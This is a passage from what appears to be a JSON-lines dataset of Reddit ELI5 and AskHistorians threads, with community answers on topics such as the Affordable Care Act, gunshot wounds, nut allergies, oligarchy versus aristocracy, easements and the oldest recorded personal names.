the next president will be a Republican. The latest state-wide opinion polling suggests that if another election were held right now, it would be virtually the same result as the last one. In fact, the Democrats are continuing to gain ground in red states, while still holding onto the blue states.", "Based on the precedents obama has set via executive order, yes.", "The main reason the Republicans are *so* terrified of this thing taking effect now is they know that by the next presidential election, the plan will have had time to settle in, and people will get to liking it. Worse, many companies will find out (as some already have) that their costs will go *down.* And that's all despite their best efforts to sabotage the thing.\n\nAnd they absolutely, positively cannot tolerate the thought of something they've saddled with Obama's name and compared to Nazism actually succeeding...which it most likely will.\n\nSo if they *can't* strangle it at birth, they know they never will, they'd have more success in eliminating Social Security, which is also at the \"snowball's chance in hell\" level.\n\nBut don't fret, they have a Plan B. See, when \"Obamacare\" starts actually working, they'll just retcon out the last couple of years of wild-eyed, spittle-flecked opposition, and start reminding people that it was a *Republican* plan to begin with.", "Yeah those stupid Republicans didn't want social security and look how good that turned out.  < sarcasm > ", "The longer answer is, not unilaterally.  The president cannot withhold funds which Congress has legally appropriated (this is called the anti-confiscation doctrine).  \n\nWhat a republican president could do is heavily lobby Congress to repeal the PPACA.  Also, he could work concessions out of the Democrats to go along with his plan.  Furthermore, he could support republican contenders for Democrat-held seats in the house/senate.  ", "It would set a bad precedent. A precedent that the next Republican president probably wouldn't want. \n\nIf every time the parties switch they just tear down the major policy change of the previous administration then that just means that everything you do while in office is now temporary and useless.\n\nThe Republicans in congress would probably like to since it affirms their job as watchdogs, and is what most of their districts, (presumably), want.\n\nThe divide isn't just between two parties, but between branches. Its why the revelations of the Patriot Act shouldn't have been a surprise. No president has ever willingly relinquished a power earned by a previous president.", "Should this not be in AskReddit or some other subreddit?  I feel like ELI5 should be questions of how or why.  Y'know, requesting an explanation for something you already know.\n\nThis is a question of \"what.\"", "The next president won't be a Republican - the next president will, in my opinion, be Hillary Clinton and she will be elected by the Tea Party.  Stunned?  Let me explain.   The primaries leading up to the 2016 election will be more of a farce than those prior to the 2012 election.  Eventually a mainline candidate acceptable to the bulk of the party will float to the top.  Perhaps it will be Christe.  At any rate, the Tea Party won't accept such a 'moderate' candidate and this time around will break from the party and run their own candidate on a third-party ticket. This will siphon off around 20 to 25 percent of the Republican votes away from the mainline candidate, assuring victory for the Democrat candidate.  The resulting ranting will be music to my ears.", "Well if the took a play from Obama, A Republican wouldn't even need to have it repealed.  All a President would have to do is refuse to enforce and implement its provisions.  The law would be dead in the water along with all the other unenforced laws.", "This is why the Republicans are lousy politicians. They've put up the good fight, they lost. Fine, but Obama is in his last term as President, they should be gearing up for succession. \n\n\nHere's how to win the presidency 101. Go quiet for 6 months to a year. Gather every single story of Obamacare fucking up, every single time someone is left out, pays more than expected, bureaucracy runs amok, or a small business that gives up and attributes it to insurance costs.\n\n\nGather them all up and then go to war. Parade out every single edge case they can to prove that Obamacare doesn't work. Sobbing mothers, old white men biting their lower lips and talking about their love of America, vets on mobility scooters, the whole package.\n\n\nand then (and here's the tricky bit), come out with your own plan that is 'slightly' different from the ACA. Perhaps new tax cuts for small business to help with insurance costs, or enhanced free market options whatever you've identified as a legitimate flaw. Keep it close enough that moderates who like not going bankrupt every time they get the sniffles can still support it, but enough red meat for the pro 'working man/business' advocates (aka the social security crowd). \n\n\nThe fact is the Republicans know that once people get used to having guaranteed health care they'll never want to give it up. So co-opt it, pound the Romney health care drum (we did it first!) and make it about how your version is better, and it will be. You've had almost three years to study how you want to make ACA rev 2, it should be better.\n\n\nSo while the democrats are tiptoeing around Obama's legacy afraid to speak ill of his flagship legislation you can focus on legitimate flaws and prudent solutions. \n\n\nBut no they'd rather burn down the house than agree on the color of the drapes so only an epic beating in the polls will change their direction.\n\nTL:DR: Stop fighting ACA and learn to love universal healthcare", "Simply put, the President can't do it on his own. But any law can be repealed, just as the Glass-Steagall act of 1933 was also repealed."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], []]}
{"q_id": "pquox", "title": "this smbc comic (link inside)", "selftext": "This [SMBC comic](_URL_0_).\n\nI don't get it, at all. ", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/pquox/eli5_this_smbc_comic_link_inside/", "answers": {"a_id": ["c3rsu5q"], "score": [2], "text": ["I just wanted to say thanks, I've never seen this comic strip before. It's pretty good.\n"]}, "title_urls": [], "selftext_urls": ["http://www.smbc-comics.com/index.php?db=comics&amp;id=2458#comic"], "answers_urls": [[]]}
{"q_id": "ab1ru1", "title": "severity of a gunshot wound to a muscle group", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/ab1ru1/eli5_severity_of_a_gunshot_wound_to_a_muscle_group/", "answers": {"a_id": ["ecwv6dq", "ecwxd6p", "ecwxmhc", "ecwyod0", "ecwz2vz", "ecwz6yh", "ecwzvhc", "ecx0f5q", "ecx0jvg", "ecx23kt", "ecx2646", "ecx2s0k", "ecx2u6y", "ecx371k", "ecx3m8v", "ecx3ncx", "ecx3ymv", "ecx48d4"], "score": [69, 28, 160, 27, 9, 2, 2, 3, 2, 5, 2, 4, 2, 2, 2, 2, 2, 2], "text": ["Yes and no. Depends on the bullet. Some are expansive and have way more stopping power instead of just stabbing through like .22s do.", " >  Bullet gets extracted, bandage applied and they\u2019re good as new! \n\nMovie magic.  Nothing about guns you see in movies is accurate.", "Simplest explanation: Any bullet or projectile has the ***possibility*** of rendering irreparable damage or fully destroying a segment of its target. This all depends on the size of the projectile (how big the bullet is), the angle it hits the target (how it's pointed), the range it was fired from (how far away from the target), and other constantly and rapidly changing  variables.  \n\n\nA .22 fired at point blank range could very well just pass through the fleshy part of a person's arm and do no more damage than getting hit with a nail gun. However, if the person getting shot turns at the right time, that bullet could hit a bone in his arm- and possibly that bullet just grazes said bone- or possibly even shatter it if it's hit just right. Or, if the person holds their arm in a particular way, that .22 could possibly travel up that arm and cut right through muscles, ligaments, blood vessels, etc. Because there are so many variables predicting how a bullet will affect a particular part of the body it hits can only be left to general reasonable guesses.\n\n & #x200B;\n\n Essentially- a movie is going to be aiming at telling a fast moving and interesting story- seeing the hero get tagged in the shoulder with a .22 and suffering permanent nerve damage which makes it hard to move his fingers on that hand and then dealing with non-dramatic PTSD (he doesn't get freaked out at loud noises- it just makes him pissy for an hour or two) doesn't really sell popcorn. \n\n & #x200B;\n\n & #x200B;", "It depends heavily on what type of bullet it is, as well.  \n\nAny sort of AP or Semi-AP round is specifically designed to punch a neat, clean hole, so they won't cause much damage.  It takes a hardened target to deform them.\n\nFMJ and other jacketed solid slugs won't be quite as neat, but they're still not doing a ton of damage.\n\nSoft point rounds are designed to mushroom and spread on impact, punching a substantially messier hole due to their suddenly larger, irregular shape.\n\nHollow point and Polymer tipped rounds, the kind most commonly used as defensive ammunition, are made to ruin your day.  They rip apart and peel back into a huge, razor sharp \"flower\" of metal that shreds its way through flesh.  Petals of that flower often detach and go tearing away in other directions, chunks of shrapnel embed themselves all along the wound track, and if there's a frangible core, it sends shards spraying everywhere.  Not pretty.", "Bullets do way more damage than muscle injury going through a limb. People die of penetrating wounds to the limbs because arteries or veins are hit, the bone shatters and bleeds out, or (later) due to sepsis. People getting shot \u201cin the shoulder\u201d, as if there\u2019s no great vessels there or the lung won\u2019t collapse, is ridiculously overplayed in film. \n\nAnother point, surgery is never done just to remove a bullet. Surgery is done to repair the damage like bowel perforation (in the abdomen) or arterial injury. Most often, the bullet is left behind. The standard movie scene of pulling the bullet out to clink it into a metal kidney basin is BS. They\u2019re plastic anyway. ", "Depends. If I'm firing my ruger 10/22 at your calf from a short-medium distance, it could very well shoot straight through - providing I miss any major nerves or blood vessels. It could also kinda just sink in and fuck shit up where it embeds- depends upon the bullet I'm using. \n\nIf I'm firing my L1A1 or Remington 700 (from any distance) you're probably gonna need a little time to recoup... \n\nIf I'm close range with my 12 gague, you're losing a limb. \n\nIt all really depends on the bullet. Hollow points, frangibles, tipped bullets, and birdshot shotgun shells cause a hella damage, as they're designed to expand upon entry. Full metal jacket and softpoint ammo will likely cause less ballistic damage. ", "As far as the tendons/ligaments go, bullets infrequently manage to hit them because they consist of a small volume of the tissue in the area, are deeper than the rest of the tissue, and also denser, so bullets often deflect off of the harder tissues that tendons/ligaments consist of. \n\n & #x200B;\n\nIts mostly artistic license, I'm sure there are plenty of cases of people being shot and being able to move just fine with the bullet in them, in movies its 100% of them, while a henchmen who takes a bullet in the gut is instantly dead.  ", "So something about movie shootings/deaths, I think there's a name for this but I can't recall, but in most films and tv shows, the amount of punishment a character can take is proportional to how important they are to the story. Anonymous bad guy: One shot, dead. The main bad guy: Shot a few times but he keeps coming at you. The hero: Well... whatever happens, they're going to make it to the end and win. Needless to say there are numerous films and tv shows that have deliberately inverted these motifs for the sake of effect.\n\nI answered this more from the cinema angle because a lot of people have already covered the it from the side of bullet mechanics, but just for the record, you guys aren't the only ones who know how guns work, I know stuff about guns too. \".22\". \".45\". \"Glock\". \"Rouger\". \"Caliper\". \"Fortknife\". See, you guys aren't the only ones who know about guns, in fact I probably know more gun words than anybody in here.", "I think a lot can be fixed with surgery with regard to muscles. What they don\u2019t show in movies are months of rehab to get those damaged muscles working right again. The biggest problem would have to be shattered bones when getting hit in the arm or shoulder. ", "I asked a very similar [question](_URL_0_) awhile back in this subreddit. Take a look!", "Just to kind add to the topic; not a direct answer to your question. A lot of damage caused by being shot is related to secondary injury. People who survive shots to non-vital points in their body are often okay initially, but deteriorate over time due to bleeding, infection (either from the bullet itself or the bodies own flora, in the case of being shot in the abdomen), and compartment syndromes (swelling within an enclosed barrier, causing compression which damages neighboring tissues within said compartment).", "Not really an explanation, but an experience. (I\u2019m also on my phone so apologize if formatting is off) \n\nWhen I was 18 I was the victim of a random drive by shooting. I don\u2019t know all the logistics of it but I was hit twice in my left leg. One went completely through my left thigh, exited and burnt my right thigh. The other hit my shin/ankle area. I was in my car when this happened, driving, and this was in 2005 so I had a fat stack of cds in my door pocket (which helped slow the ankle shot down). \nSomehow neither bullet hit bone. That said the second it happened in couldn\u2019t move my leg, support myself, nada. \nThey initially left the bullet in my ankle bc it would do more damage to remove it than let my body heal around it. \nIt ended up getting infected and being removed a couple weeks later. \nI had soft tissue, nerve, and blood vessel damage. As well as muscle damage. It took probably 3 weeks before I could bear any weight on it (with crutches still). I needed physical therapy and can\u2019t wear high heels anymore because the muscle in that leg is still ever so slightly different. \n\nIt really depends where you\u2019re hit. Inches in any other direction and we\u2019d have been looking at femoral artery damage, bone destruction, you name it. \n", "Hate in the movies where a person gets shot, either the person or 3rd party says, \"don't worry, it's just a flesh wound\" as if they could really know right in that moment.", "Okay I am only replying from my own personal experience. Less than a year ago I had a .25 acp blow through  one part of my arm and out the other slightly grazing the bone. I had full mobility the whole time and I know it destroyed a few nerves because I didn't have feeling in certain parts of my arms in weeks. It entered right above my elbow on the inside of the arm and came out about 2-3 inches below my elbow (Below being closer to my hand, above being near my bicep) . I can confirm one hundred percent I had no problems at all. I woke up the next morning changes the bandage and just kept on going. I had pain ofc which sucked but no movement issues other than moving certain ways hurt but I could push through it and use my arm like normal.", "I'm no expert on this, so I expect a lot of people are going to jump on me and downvote like hell, because that's the way it is when people talk about guns.  I'd just like to point out that in a lot of cases, adrenaline and shock keep you going a lot longer than you'd expect.  There are many instances where people have been shot and didn't even realize it until far after the fact.  If you were in a firefight with someone and you were hit with .22 or even 9mm, there's a darn good chance you'll keep shooting back (depends, of course, on where you're hit).  This is why there's a lot of emphasis on hitting the 'center of mass) on a target - those hits will likely stop someone from shooting back.\n\nIt's worth mentioning that 45 caliber handguns were preferred by a lot of people in the military because of their stopping power.  9mm had a reputation of taking several hits to 'nullify the target'.  Some of this is undoubtedly rabble from people loving their particular caliber, but I don't doubt it's at least somewhat true - a 45 is generally accepted as having greater stopping power.\n\nSo, what can you take away from all of this?  If people are talking about stopping power, it means that they're concerned about non-stopping power.  As such, in a life or death situation, people most certainly have kept shooting back even if hit multiple times.  Afterwards, the full extent of damage manifests, and bad things happen.  As they say, the difference between getting shot with a 9mm and a 45 is dying right there, or dying in the ambulance.\n\nEDIT: and by the way, I never mentioned .22.  The way I see it, you're talking about movies, and almost nobody shoots someone with a .22 in a movie.", "It always sucks. Bullets don't cut tissue like a blade, it headbangs its way, pulping tissue on the way through.\n\nThe wound channel will be lined by pulped, dead tissue that will turn necrotic. You can survive it untreated, but its not guaranteed and you will be deathly ill for a long time.\n\nTreatment is usually by debridement, where a surgeon will open up the wound channel, cut out all the dead tissue and pack the wound to allow it to heal from the inside out.\n\nGetting shot in the abdomen is also bad, even if nothing gets hit a surgeon will have to open you up, scoop out your intestines and run over all of it looking for leaks.", "I\u2019ll try to ELI5 this, but it\u2019s my first time. \n\nWhen things move very fast, they have two ways of causing damage - direct and indirect. \n\nThink of throwing a rock into a pond, that has little toy boats floating on the surface. Where you throw the rock, it will directly hit some little boats. Those little boats are smashed and sink, gone forever. The boats nearest to the rock will get hit with lots of splash - a lot of them will capsize or take on water, and sink, but some will be okay, even if they take on a little bit of water. Further away, some of them will take on water and sit a bit low in the water, but other boats will be fine. Furtherest away, the boats will ride up and down on the ripples but be fine. \n\nThis where ELI5 gets a bit hard. Where the rock hit directly is known as direct cavitation. It\u2019s the path of the projectile in tissue. If it hits an artery, vein, nerve, tendon/ligament or bone, big problems. The boats that got damaged from the splashes and ripples are being hit by a shockwave that propagates through the target tissue. This is known as indirect cavitation. The amount of damage that can be caused this way is dependent on the calibre, weight and speed of the projectile (as well as projectile shape, ability to impart energy to the target, fragmentation, stability through the target, and a bunch of other non-ELI5 shit). The splashes and waves (indirect cavitation) can cause tearing/ripping of tissues, including arteries/veins etc, or it can cause bruising/swelling which will leave the structures intact but sore. It all depends on strong the shockwave is and how close the tissue is to the centre of the shockwave. \n\nTo see this shockwave in action, YouTube ballistic gelatin tests. You\u2019ll see the direct and indirect cavitation from different rounds and it will make much more sense. \n\nIt\u2019s entirely possible to take various rounds at various distances in a large muscle group, and patch it up with minimal effects (I mean, it\u2019ll be sore as fuck, but some morphine or fentanyl and you should get at least basic function from the limb). It\u2019s also entirely possible to have various rounds at various distance rip your damn arm off. ", "Despite what is seen in 80s actions movies, getting shot is always a traumatic event that requires medical attention. The first concern is if it severs a major vein or artery. If this happens, the victim will bleed out in minutes without proper medical care.  \nAfter that there are concerns like nerve and tissue damage and infection. A gun shot creates a tunnel of dead tissue that can lead to septic shock (if you want nightmares, google \"gunshot wounds cavitation\"). With a 9MM it will create one about two inches wide. With an AR-15, it can be 5 inches wide. They don't make neat little holes. They effectively blow off whole limbs. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], [], [], ["https://www.reddit.com/r/explainlikeimfive/comments/9w2pvm/eli5_how_much_would_a_stabpuncture_wound_affect/?st=JQBPYZ79&amp;sh=2993e0ff"], [], [], [], [], [], [], [], []]}
{"q_id": "cp0hu7", "title": "if the peunut is not considered a nut, but a bean, then why people with nut allergies are also allergic to peanuts?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/cp0hu7/eli5_if_the_peunut_is_not_considered_a_nut_but_a/", "answers": {"a_id": ["ewmdhm6", "ewmdjcg", "ewmgj3b", "ewmhihu", "ewnkxsy"], "score": [9, 55, 3, 17, 4], "text": ["Many are not. My partner is allergic to tree nuts (pecan, walnut, macadamia) but not peanuts. Or almonds, somehow...", "They're not.\n\nOften people with peanut allergies are also allergic to soybeans, because both are legumes.\n\nHowever, they're not necessarily allergic to tree nuts such as almonds and walnuts.\n\nAnd vice versa - people who are allergic to tree nuts aren't necessarily allergic to peanuts.\n\nThat's not to say that someone couldn't be allergic to both, but they're not related allergies.\n\nEdit to change the word \"typically\" to \"necessarily\" because although the two are unrelated, both are common.", "They are not. It is fairly rare for someone with tree nut allergies to be allergic to peanuts, and vice versa. What is common is for someone who is allergic to peanuts to also be allergic to soybeans, peas, or other legumes.", "They're not the same alergy but nuts and peanuts are often packaged and processed in the same facilities and so cross contamination often happens which is why the allergies are often lumped together.", "Can someone explain why nobody was allergic to peanuts when I was a kid, but by the time my kids came along a Reece\u2019s was fuckin deadly?"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], []]}
{"q_id": "5s4s61", "title": "what is the difference between an oligarchy and an aristocracy?", "selftext": "I understand that an oligarchy is a powerful group who control government/legislature and rule in self-interest. But this is extremely similar to an aristocracy - the highest social class which, again, rule in self-interest.\n\nWhere does the difference lie? The origin of the word aristocracy is related to rule by the 'best' - is it then in how they justify their rule, with oligarchies simply relying on their power to oppress difference? Or are the lines just so blurred that they are different words for different circumstances (e.g. oligarchs post-Soviet Union and aristocrats in feudal Europe)? Thanks in advance.", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/5s4s61/eli5_what_is_the_difference_between_an_oligarchy/", "answers": {"a_id": ["ddccdsx", "ddccg2e", "ddcr8n1"], "score": [33, 3, 2], "text": ["Oligarchy is the general umbrella term for all \"rule of the few\" systems. \"Oligos\" means \"few\".\n\nA monarchy is an oligarchy in which the few are kings, queens, counts, earls, dukes, and so on. \"Mono\" means \"one\".\n\nA theocracy is an oligarchy in which the few are priests, bishops and religious institutions. \"Theo\" means \"relating to god\".\n\nAn aristocracy is an oligarchy in which the few are the privileged upper class associated with nobility after the fall of monarchies. \"Aristos\" means \"best\".\n\nA plutocracy is an oligarchy in which the few are the rich corporate elite. \"Plutos\" means \"wealth\".\n\n", "Aristocracy tends to be hierarchical. The knight answers to his lord who answers to the king.\n\nAn oligarchy is where a select group (who are more or less equal in their status) run the state.\n\nAristocracy carries with it the notion that the rights of the governing group have obligations towards their betters and usually that their rights are inheritable.\n\nAn oligarchy is when a group of powerful people agree to support each other's power position to override or countermand the will of the population as a whole.\n\nYou can almost view aristocracy as a heritable oligarchy, but not quite. Aristocracy has historically often been a check on absolute power and aristocracy implies a hierarchy which is of not always typical of an oligarchy.\n\nAn oligarchy operates to remove any checks and balances on the power of the ruling group whereas an aristocracy usually functions as an inheritable check on the power of the most powerful.\n\nThe line is pretty grey and various aristocracies were basically oligarchies and you can probably view all aristocracies as some form of oligarchy, but the difference does exist.", "...\n\nI don't know where everyone here is getting their definitions.\n\nOligarchy is a government structure that places significant power in a small group of people.\n\nAristocracy is not a type of government, it's a social class that existed under the feudal mode of production. The aristocracy was made up of nobles, monarchs, and royal families. Their wealth and power was transferred via bloodlines. They would rent their land to peasants who would cultivate it for commodities to be sold on the market, profits going to the aristocracy. The peasantry would be granted a portion of what was made as their payment, and/or taxes on what an aristocrat sold.\n\nMonarchy - which is what I think you meant - is a type of government where sovereignty was completely and totally vested in the Monarch - a King or Queen - by a God given birthright.\n\nIt's different from oligarchy because oligarchy either means in its literal sense that sovereignty is vested in a group of people as opposed to one (and not by royal birthright) or in modern definition, means a liberal democracy that has degenerated so that popular sovereignty has been significantly marginalized, giving the small group of representatives (politicians) unchecked power."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "3hyy9j", "title": "easement", "selftext": "Watching Arrested Development and they mention it (S1E20). The Wikipedia page is a nightmare.", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/3hyy9j/eli5_easement/", "answers": {"a_id": ["cubutep", "cubwtdl"], "score": [4, 6], "text": ["Quoting from my law school notes, an easement is a non-possessory interest that entitles its holder to some use or enjoyment of another's property. \n\nAs to what that means in English, let me use an example. Let's say A and B live next door to each other on two separate plots of land: Whiteacre and Blackacre respectively. A builds a pool on Whiteacre, but since B is his friend, A makes a contract that says B may enter Whiteacre to use A's pool. B does not own Whiteacre, but thanks to the contract he now has an interest in it, and that interest is the right to enter Whiteacre and to use the pool on it. If A were to suddenly start saying that B could not use the pool, B could sue to have the easement enforced.\n\nThere are lots of types of easements, along with lots of ways to make one. (r/legaladvice always has fun  with the 'easement by necessity'), however that's the basic idea. I can talk a little bit more about them if you want, and feel free to ask any questions you might have. I am not a lawyer, but I hope to be, so I'll do my best. \n\nSource: 1L Property Law Class\n\nEdit: Grammar and word choice.  ", "I think a more typical example is a utility easement (although that is probably not a proper legal term).  You might have power lines running through your yard, or a gas pipeline buried underneath.  The utility company has a right to access your property in order to maintain those lines.  You're not entitled to deny them access, or to screw with then lines just because they're on your property."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "g3j8q8", "title": "In the 1985 movie Back to the Future, one of the characters arranges to get plutonium from a group of Libyan terrorists who want a nuclear weapon. Were there any groups in Libya in the 1980s actively seeking nuclear weapons, or is this plot point entirely artistic license?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/g3j8q8/in_the_1985_movie_back_to_the_future_one_of_the/", "answers": {"a_id": ["fnrx2x5", "fnshn9t"], "score": [597, 354], "text": ["Here you can find answers to the previously asked similar question: \n\n[/u/The\\_Alaskan](_URL_1_) and deleted account in [What was going on in 1985 that would have made Libya the go-to reference for Doc Brown's illicit plutonium sourcing in Back To The Future?](_URL_0_)", "Separate from the specificity of Libya (they could have used any number of different groups, if they wanted to), the fear of terrorist acquisition of nuclear weapons, specifically Middle Eastern terrorists, became a major issue in the 1970s. Fears of nuclear terrorism in general became a wide trope in the early 1970s (spurred on largely by the activism of Los Alamos weapons designs Ted Taylor, whose fears were heavily publicized in John McPhee's _The Curve of Binding Energy_, as well as through stunts like John Aristotle Phillips turning in a nuclear weapon design as a junior thesis project at Princeton). After the Munich massacre at the 1972 Olympics, in which Palestinian terrorists orchestrated a complex plan to kill Israeli athletes, fears of specifically Middle Eastern terrorism became a major part of the Western milieu, and joined with fears of nuclear terrorism. So all of the parts are in place for \"Libyan terrorists who want plutonium\" to be a totally recognizable trope in 1985. They could have also changed \"Libyan\" to a variety of other places and have it still work \u2014\u00a0\"Palestinian\" and \"East German\" come to mind as recognizable \"terrorist threats\" for that time (whereas militant left-wing American terrorist groups, like the Weatherman, had faded out of relevancy, and the Japanese terror cult Aum Shinrikyo had not yet entered into it; for 1985, a reference to the Rajneesh might have glossed in a way that it would not today), whereas \"Pakistani\" would be less about a terrorist acquisition and more about a state one (the Pakistanis attempted to buy Phillips' thesis off of him, amazingly)."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.reddit.com/r/AskHistorians/comments/4omlge/the_libyans_what_was_going_on_in_1985_that_would/", "https://www.reddit.com/user/The_Alaskan/"], []]}
{"q_id": "3wb7bw", "title": "why is it that sometimes my ballsack is loose and flabby, and other times it's the direct opposite?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/3wb7bw/eli5_why_is_it_that_sometimes_my_ballsack_is/", "answers": {"a_id": ["cxuu01z", "cxuuzyy", "cxuwtkh"], "score": [10, 3, 15], "text": ["Sperm is very sensitive to temperature.  It needs to be a bit lower than your body, so it loosens up and hangs away from your body.  If its cold out, it will tense up and hug your abdomen so it keeps warm\n", "Your sperm need to be kept at a very particular temprautre and so your ball sack is an advanced piece of engineering that retracts and descends to keep the sperm closer or further form you warm body. \n\nYour scrotum will also sometimes retract to keep things from flopping around, namely during sex. \n", "Your nuts are a thermostat ... escentially a thermosac.  When they high and tight ... chances are you're cold.  Long and loose ... you nice and warm.  Reason ... your little homeboys are total drama queens and want to be at a special temp."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "9s4859", "title": "what is the state of flow? is it real? does it really allow you to perform better while doing something? and how does someone induce it?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/9s4859/eli5_what_is_the_state_of_flow_is_it_real_does_it/", "answers": {"a_id": ["e8lxafo", "e8m5aad"], "score": [13, 10], "text": ["Yes, it definitely exists. It is defined as \"the mental state of operation in which a person performing an activity is fully immersed in a feeling of energized focus, full involvement, and enjoyment in the process of the activity.\"\n\nIt does seem to be able to make people perform better, and practice can help to induce it. Much of my experience in the state comes from first-person shooters where you can get \"in the zone\" and even experience subjective time compression where you can play for long periods without realizing. ", "As you grow better at any task, your brain does something called *chunking*.  As you master simple tasks, your brain as able to group them together into common complex tasks that require the same amount of effort.\n\nFor example, when you first learn to play an instrument, you are trying to think where each finger goes.  As you get better, those tasks get chunked into playing a note, you think about playing a G, your fingers just do it.  This becomes bigger and bigger chunks, and frees your brain to more nuanced things and improvise because you no longer have to think about what note you are playing and where your fingers go.\n\nWhen we first start to chunk on a higher level, we can't do it reliably and often make mistakes.  Very small differences in concentration, fatigue, and stress can have a big impact on whether you can perform a complex action in a single effort or have to think about each part, which in turn has a big impact on the quality of the performance."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "3gsvqn", "title": "I recently read a quote saying people die twice. The first when they physically die and the second when the last person that knows their name dies. So who's the oldest person we know the name of?", "selftext": "Edit: My first gold on a submission! Thanks stranger! :D", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/3gsvqn/i_recently_read_a_quote_saying_people_die_twice/", "answers": {"a_id": ["cu170wv", "cu1fevc", "cu1i1s0", "cu1ogzr", "cu1qjkh", "cu1uxn3"], "score": [1174, 124, 88, 29, 18, 2], "text": ["As far as I am aware, the oldest name we have written down in an archaeological context is that of [Iry-Hor](_URL_0_), a predynastic king of Upper Egypt who reigned during the 32nd century BCE.  You can see what I understand is the earliest inscription bearing his name [here](_URL_2_), which was found in the Sinai in 2012.  We know *of* a couple kings who are supposed to have preceded him, but as they are proto-writing, we only know them by symbols, such as Scorpion I and Double Falcon and Bull, not their actual names, just our names for them.\n\nWe have some other names on Mesopotamian inscriptions from the Jemdet Nasr period, which is from the 31st century to the 29th century BCE, so later than Iry-Hor.\n\nEdit: the latest scholarship on the topic, and the publication of the 2012 inscription is in French, and can be accessed online [here](_URL_1_).", "If their name must refer to a spoken sound by which acquaintances would have referred to a person, then the oldest we have currently are a slave owner Gal-sal and two of Gal-sal's slaves Sekkulgir and Enpap-x who lived in Sumeria around 3200BC. I don't believe we have any information that sheds any light as to which of the three is the eldest.\n\nThere are older symbols from China that could be names after a fashion. The oldest I'm aware of are from Jiahu around 6600BC. They are not believed to be actual writing but rather a precursor. The meaning of the symbols is largely speculative, but one hypothesis is that they indicate ownership, like a cattle brand. If they indicate individual ownership then they refer uniquely to individuals and are therefore effectively names.\n\nAnd of course it's possible that we'll uncover names older than these. In so doing we become aware of them and so the person named must not have experienced the second death to which you refer. Pretty sure I heard that same story on NPR, by the way.", "I believe that this quote originally came from Irvin D. Yalom, and it refers to the memory of a person, not just knowing their name.  For instance, we know Abraham Lincoln's name, but no one who knew him is still alive, therefore he has \"died\" for the second time.  You may be referring to another, third death, when humanity forgets.\n\n > \"Some day soon, perhaps in forty years, there will be no one alive who has ever known me. That's when I will be truly dead - when I exist in no one's memory. I thought a lot about how someone very old is the last living individual to have known some person or cluster of people. When that person dies, the whole cluster dies,too, vanishes from the living memory. I wonder who that person will be for me. Whose death will make me truly dead?\u201d \u2015 Irvin D. Yalom, Love's Executioner and Other Tales of Psychotherapy", "As a related question, who is the oldest woman we know the name of?  It seems like everyone mentioned so far is a man.", "Some time back I wrote an answer to this question looking at the oldest human name that we know, and I took a linguistic approach that is a bit different.  Here's the [link](_URL_0_)  and here's my statements on it.  I'll add that many cultures have founding heroes that go a long ways back, for example Dene creation myths seem to fairly clearly go back to the Pleistocene, implying that we have a person or people who yet live in memory despite having undergone the first death when megafauna still roamed\n\n >  Oldest as determined by date of record? By date of legible record? or by date of reconstruction? There are a few ways to approach this question from a linguistic perspective that are likely to give you names that we can determine reliably, but a few things first.\n\n > almost all names in the world are derived from descriptive phrases. The stereotypical Native American \"running wolf\" style name, is actually more indicative of how names generally are created than is the idea that we have names like \"John\" or \"Mary\" that have no immediate meaning.\n\n > Secondly, names that have no immediate meaning, are generally developed from previous names that did have meaning. Most of our names today come from either Semitic names (with definite meanings, via Christianity) or from previous descriptive phrases in our own languages that had meaning, or from even earlier.\nFor some examples, here's a little description of proto-indo-european names with examples (link).\n\n > Now if you are looking for the earliest names we can recover, the place to look is in reconstructed proto-languages, for example try this list of Proto-Indo-European Deities. In it we have names like *Dy\u0113us Ph2t\u0113r which has come down as Zeus, Dios. this was a name back some time between 3700BC and, some have argued, maybe as far as 7 or 8 thousand BC.\n > the thing is, this is only one proto-language, and there are many others, some of which are likely to be older such as niger-congo languages, and so on. All of these language families have naming conventions that can be traced across them, allowing us to trace back likely names that would have belonged to individuals many thousands of years before recorded history began.\n\n > Now as to recorded names, there's one final thing I'd like to throw out there. Many many cultures have multiple names for individuals, for example they'll name people after things they have done. This means that likely some of the oldest rock paintings in the world, such as the Bhimbetka rock paintings in India could very likely represent recorded human names along the likes of \"killed a buffalo\" or something similar - a name that might be 30,000 years old. Though phonological data might not be recorded, it still might fit the definition of \"recorded name\".\n\n > Now for the last step, and going back to linguistics again. And this is the most controversial by far - there are several linguists who support the idea of what is called Proto-Human or Proto-Sapien language - the proposed most recent common ancestor of all human language. On some levels, this isn't that extreme - we know that the alphabet has only been invented once, and all other alphabets have been by borrowing, so why not language? That said, this is a highly controversial, and generally discounted idea, though of course still innately appealing. For example, Merritt Ruhlen gives a list of proposed proto-human words, at least one of which could have been a name at one point - boko (arm). In addition, he includes a word that could have easily enough been a name, nickname, or putdown - putV = 'vulva'.\n\n > I suspect if someone were to do a deliberate search for the oldest recoverable name, it would be possibly to come up with a very likely name that could be reliably traced back to at least six or seven thousand years before present.", "Why is this thread title orange?"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://en.wikipedia.org/wiki/Iry-Hor", 